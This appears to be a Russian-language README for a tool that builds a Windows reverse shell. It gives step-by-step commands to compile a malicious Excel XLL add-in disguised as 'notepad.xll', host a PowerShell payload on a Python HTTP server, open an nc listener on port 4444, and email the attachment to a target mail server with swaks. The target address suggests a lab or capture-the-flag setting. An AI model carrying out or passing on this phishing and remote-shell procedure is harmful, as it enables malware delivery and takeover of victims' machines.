xll_windows_reverse_shell

Реверс-шелл Windows xll

На вашей атакующей машине (Kali):

git clone https://github.com/n3rdh4x0r/xll_windows_reverse_shell.git

1. Обновите revsh.ps1
2. Запустите Python HTTP-сервер

python3 -m http.server 9999

На вашей атакующей машине (Windows):

1. Переместите notpadXLL.c на вашу атакующую Windows-машину и обновите notpadXLL.c соответствующим образом.
2. Откройте x64 Native Tools Command Prompt for VS 2022
3. Выполните приведенную ниже команду, чтобы сгенерировать notepad.xll

cl.exe /LD notepadXLL.c /link /out:notepad.xll

5. Переместите этот notepad.xll на вашу машину Kali

На вашей машине Kali

1. Скачайте swaks

 curl -O https://jetmore.org/john/code/swaks/files/swaks-20240103.0/swaks

2. Настройте прослушиватель nc

nc -nlvp 4444

3. Используйте swaks для отправки электронного письма с вложением notepad.xll:

./swaks --to [email protected] --from [email protected] --server 10.10.11.21 --port 25 --header "Subject: test" --body "test" --attach @notepad.xll